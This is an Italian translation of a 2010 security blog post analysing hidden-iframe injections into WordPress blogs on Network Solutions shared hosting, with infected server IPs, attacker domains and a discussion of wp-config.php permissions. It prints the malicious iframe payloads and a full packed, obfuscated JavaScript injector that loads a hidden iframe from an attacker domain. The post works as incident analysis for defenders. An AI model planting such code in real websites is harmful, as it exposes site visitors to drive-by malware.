Network Solutions e la vulnerabilità di Wordpress
maggio 11th, 2010 |Il post seguente è stato tradotto, previa autorizzazione, dal blog Unmask Parasites
Ho notato questo iframe nascosto hxxp://networkads .net/ grep/ il 7 aprile.
Subito hanno attirato la mia attenzione questi strani script “iframe_style” nei report di Unmask Parasites (ho anche pensato fosse un bug in Unmask Parasites, ma controllando il sito infetto ho trovato gli stessi script).
Tuttavia è stato un incidente isolato e non ho notato alcun pattern evidente. Due giorni dopo, quando ho notato l’ articolo di David (Sucuri Security) su questo argomento e il follow-up di Brian Krebs, ho deciso di dare un’occhiata più da vicino.
Quello che ho trovato è molto interessante e solleva alcune domande serie in merito alla sicurezza dei siti web sui server condivisi.
Un breve riassunto degli articoli di David e Brian
1.Numerosi blog con WordPress sono stati recentementi violati. Qualcuno ha iniettato l’iframe che inserisce il seguente contenuto dannoso dai server di networkads .net
<iframe style="display:none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>
2. L’injection è stata fatta tramite database di WordPress. Gli hacker hanno sostituito il valore dell’opzione siteurl del database wp_options (il prefisso della tabella può essere diverso nel vostro caso) con il codice iframe:
<iframe style=\"display:none\" height=\"0\" width=\" 1\" src=\"hxxp://networkads .net/ grep/\"></iframe>'
3. Questa modifica silente dei parametri siteurl, ha violato la maggior parte dei blog (sia visivamente che funzionalmente); in quanto ci sono molte dipendenze dal parametro siteurl in WordPress. Così i webmaster dovranno ripristinare manualmente il valore di questo parametro per l’URL del sito nei loro database MySql (che dovrebbe essere qualcosa del tipo: http://yoursite.com/blogroot).
4. Tutti i siti interessati sono ospitati da Network Solutions.
Le mie scoperte
Ricerche Google
La violazione spezza il codice html. Questa è una linea tipica del linguaggio html, interrotta da questa iframe injection:
<link rel="pingback" href=""><iframe style="display: none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>/xmlrpc.php" />
Poiché la maggior parte dei temi Wordpress utilizza attivamente il parametro siteurl nella sezione dell’ html, questo codice spezzato li fa assomigliare a questo:
ciò permette di creare una query di ricerca di Google che restituirà i blog similmente violati. Per esempio: wp-content text/css media screen xmlrpc.php -pingback questa ricerca produce circa 5.000 risultati .
Molti puntano ai blog violati. Questi 5.000, naturalmente, includono pagine indicizzate più volte dagli stessi siti; ma ho potuto trovare facilmente più di 60 blog infetti nelle prime 10 pagine dei risultati della ricerca. ( Attenzione: molti blog sono ancora infetti al momento in cui scrivo.)
Soltanto Network Solutions
Tutti questi blog sono ospitati da Network Solutions. Non un solo sito infetto è al di fuori della loro rete. Ciò significa che questo particolare attacco è limitato ai server di Network Solutions.
Ip dei server
La maggior parte dei blog infetti ( 40 e più ) si trovano sul server con indirizzo IP: 205.178.145.65
Ho trovato anche blog infetti con le stesse modalità in più di 16 Ip di Network Solutions :
205.178.145.85
205.178.145.86
205.178.145.99
205.178.145.105
205.178.145.116
205.178.189.131
206.188.192.204
206.188.193.32
206.188.193.63
206.188.193.63
206.188.193.64
206.188.193.179
206.188.193.195
206.188.193.220
206.188.193.250
206.188.196.127
206.188.211.27
La violazione non riguarda solo il database
Questo attacco non solo inietta il codice iframe nel database Wordpress, in alcuni siti gli hacker iniettano il codice iframe (leggermente modificato) direttamente nei file sui dischi.
<iframe frameborder="0" onload=' if (!this.src){ this.src="http://networkads.net/grep/"; this.height=0; this.width=0;} '></iframe>
I luoghi dell’injection suggeriscono che il codice non sia stato preso dal database.
Domini diversi
networkads .net non è stato l’unico nome di dominio usato da questo attacco. Prima gli hacker utilizzavano binglbalts .com e ora usano mainnetsoll .com/ .
Tre domini che puntano allo stesso server con indirizzo 64.50.165.169 (Lunar Pages), che sembra essere un server dedicato violato (o server virtuale dedicato), con diversi siti legittimi.
Secondo whois:
- binglbalts .com creato il 1 aprile 2010
- networkads .net creato il 4 aprile 2010
- mainnetsoll .com creato il 10 aprile 2010
Contrariamente a questo breve storico, secondo il database di Google Safe Browsing, binglbalts. com e networkads.net hanno già modificato numerosi server su 3 network differenti.
Aggiornamento: script offuscato
Quando ho pubblicato questo articolo, ho verificato i siti compromessi ancora una volta e ho scoperto questo script offuscato su uno di loro:
e v a l(function(p, a, c, k, e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f(a,8,d){6 3=i m();3.l(3.k()+(d*n));6 5="; 5="+3.j();4.9=a+"="+8+5+"; "}6 c=4.9;b(c.v("g")==-1){4.o(\'<e w="0" y=\\\' b (!2.7){ 2.7="t://u.p/q/"; 2.r=0; 2.s=0;} \\\'></e>\');f("g","1",x)}',35,35,'||this|date|document|expires|var|src|value|cookie|name|if||hours|iframe|addCookie|seref|function|new|toGMTString|getTime|setTime|Date|3600000|write|com|grep|height|width|http|mainnetsoll|indexOf|frameborder|24|onload'.split('|'),0,{})) ;
Era subito dopo il tag <body>.
Questo script verifica la presenza di un cookie chiamato seref. Se tale cookie non è presente, inietta un iframe nascosto proveniente da hxxp://mainnetsoll.com/ e imposta questo cookie seref per un giorno.
Come si può vedere l’attacco evolve costantemente e questa volta il codice dannoso viene iniettato direttamente in un file di WordPress.
Altre violazioni
Sembra che questi ultimi iframe injection non sia la prima volta che vengano usati per attaccare i blog WordPress sui server di Network Solutions. I segni di altri attacchi sono ancora visibili.
Hidden links
Alcuni dei blog violati contengono centinaia di link spam, visibili solamente se si naviga disattivando JavaScript. Per qualche motivo, ogni link è racchiuso tra tag <noindex> e usa rel=”nofollow”nei parametri dei tag. Quindi qual è il suo uso, se non vien utilizzato da chi naviga sul web, né dai motori di ricerca?
I link sono seguiti da iframe nascosti di networkads.
alkoltashov.narod.ru
Ho trovato inoltre una dozzina di blog Wordpress infetti che traggono gli hidden link da hxxp://alkoltashov.narod.ru/ sites.txt. I link dovrebbero mostrare <div> esternamente rispetto all’area visibile, ma a causa della configurazione dei server di Network Solutions, che non permette l’accesso ai file tramite url, questa injection fallisce restituendo l’errore seguente (anch’esso mostrato oltre l’area visibile ):
<div style="left: -2322px; position: absolute; top: -3433px">
Warning: readfile() : URL file-access is disabled in the server configuration in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163
Warning: readfile(hxxp://alkoltashov .narod .ru/ sites.txt) : failed to open stream: no suitable wrapper could be found in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163
</div>
Secondo la cache di Google, questa injection di link in remoto è avvenuta a gennaio.
Ed è limitata ai blog sui server di Network Solutions.
WebEasySearch. com
Alcuni dei blog violati, inoltre, reindirizzano i risultati dei motori di ricerca verso il sito webeasysearch .com.
Questo avviene solamente se non avete già visitato il blog violato (probabilmente vengono verificati i cookie di WP).
Questa violazione cifra la stringa della query del motore di ricerca e la passa a webeasysearch ( webeasysearch .com ), che la decifra e visualizza i propri risultati per la stessa query.
Scommetto che sia effettuato da qualche codice PHP iniettato nel file di WordPress.
Lo stile della violazione e la gamma dei siti colpiti, mi fanno pensare che tutte queste violazioni siano state realizzate dallo stesso hacker.
Conclusione
1. Gli hacker, decisamente, hanno come obiettivo i blog WordPress, ma dubito che sia stata sfruttata una qualsiasi vulnerabilità di WordPress. Altrimenti avremmo assistito ad altre violazioni simili non solo sui server di Network Solutions.
2. Allo stesso tempo però, sono interessati più di una dozzina di server di Network Solutions. Potrebbe esserci una falla di sicurezza (o una minima vulnerabilità ) sulla loro rete. Dovrebbero esaminare seriamente il problema.
3. Sono d’accordo con David di Sucuri Security, che pensa che tutto ciò possa essere eseguito tramite l’accesso ad un unico account compromesso (o anche creato legalmente da alcuni hacker). Gli hacker possono utilizzare questo account per eseguire script che leggono il contenuto dei file di wp-config.php su account neighbor (secondo una ricerca con reverse IP ci sono diverse migliaia di siti sul server con IP 205.178.145.65).
È abbastanza facile ( non svelerò i trucchi del perfetto hacker ma funzionano bene sui server di Network Solutions ) identificare i siti con blog Wordpress su qualsiasi server e di conseguenza identificare i percorsi assoluti del file wp-config.php, che contengono i dati d’accesso al database e i nomi delle tabelle di WordPress, il tutto in chiaro. Gli hacker, successivamente, hanno semplicemente bisogno di eseguire un altro script che inietti quello che vogliono nei database dei loro neighbour server.
Allo stesso modo qualsiasi codice dannoso può essere iniettato in tutti i file scrivibili nell’account neighbor.
Vulnerabilità progettuale di WordPress
Sui server condivisi è possibile proteggere i propri file da neighbor dannosi, rendendoli di sola lettura. Solitamente i permessi sui file a 644 e sulle directory a 755 sono sufficienti.
Tuttavia se i neighbor, in qualche modo, riescono ad ottenere l’accesso, possono fare ciò che vogliono con il vostro database. Nel caso di WordPress, è sufficiente leggere il file wp-config.php nella root del blog WordPress.
Per nascondere il contenuto del file wp-config.php dai server neighbor, David (Sucury Security) consiglia che questo file debba avere 750 ( credo volesse dire 640 , in quanto il permesso di esecuzione non è necessario ). Purtroppo, questo funziona solo sui server con suPHP. Su altri server dove il server web esegue gli script PHP con propri diritti, questo stratagemma rischia di danneggiare completamente i blog WordPress. Ogni pagina restituirà l’errore Failed opening required ‘wp-config.php’” .
Questo significa che i blog di WordPress sono vulnerabili a questo tipo di attacco sulla maggior parte dei server condivisi . Basta violare un account (la maggior parte dei server condivisi hanno più account violati), o addirittura creare un account appositamente per l’hacking e sarà possibile guadagnare l’accesso al database MySQL dei vostri neighbor che abbiano un blog con WordPress. Qualsiasi altro web script che dipenda da un database e che memorizzi i dati d’accesso in chiaro, è anch’esso vulnerabile.
I ragazzi di WordPress sono consapevoli di questo problema sui server condivisi ma, per qualche motivo, danno anche questo strano consiglio sui permessi a 750 per wp-config.php, che è sbagliato (750 invece di 640) e funziona soltanto sui server suPHP :
Se siete su un server condiviso i permessi della directory wp-config.php dovrebbero essere a 750. Questo significa che nessun altro utente sarà in grado di leggere il nome utente e la password del vostro database. Se si dispone di FTP o accesso alla shell, procedere come segue:
chmod 750 wp-config.php
Quindi non c’è un modo universale per proteggere i dati d’accesso al database sui server condivisi. Vedo sempre più attacchi caratterizzati da un account compromesso su un server condiviso e successivamente utilizzato per violare altri siti sullo stesso server. È il momento di rivedere l’approccio utilizzato verso il file wp-config.php .
Dite la vostra
Cosa pensate del problema dei file wp-config.php universalmente leggibili sui server condivisi? Qualche idea su come risolverlo?
Se siete un cliente di Network Solutions ed il vostro sito è stato violato, mi piacerebbe sapere anche le vostre esperienze.
Potreste raccontarci quali permessi sui file utilizzate (soprattutto se siete stati vittime degli attacchi di alkoltashov .narod .ru and WebEasySearch ) ?
Altri commenti sono i benvenuti.
Post correlati:
Recent Comments
:) :) Avete avvertito la PSI per le indagini sulla scena cr...
Be', noi una volta abbiamo QUASI ricevuto una denuncia per u...
Giovedì 15 aprile 2010 Ciao, nel mio blog non c’è più la ba...
Ciao, nel mio blog non c'è più la barra laterale e vorrei in...
Grazie Xian :) Sei sempre il mio lettore più accanito :) :)...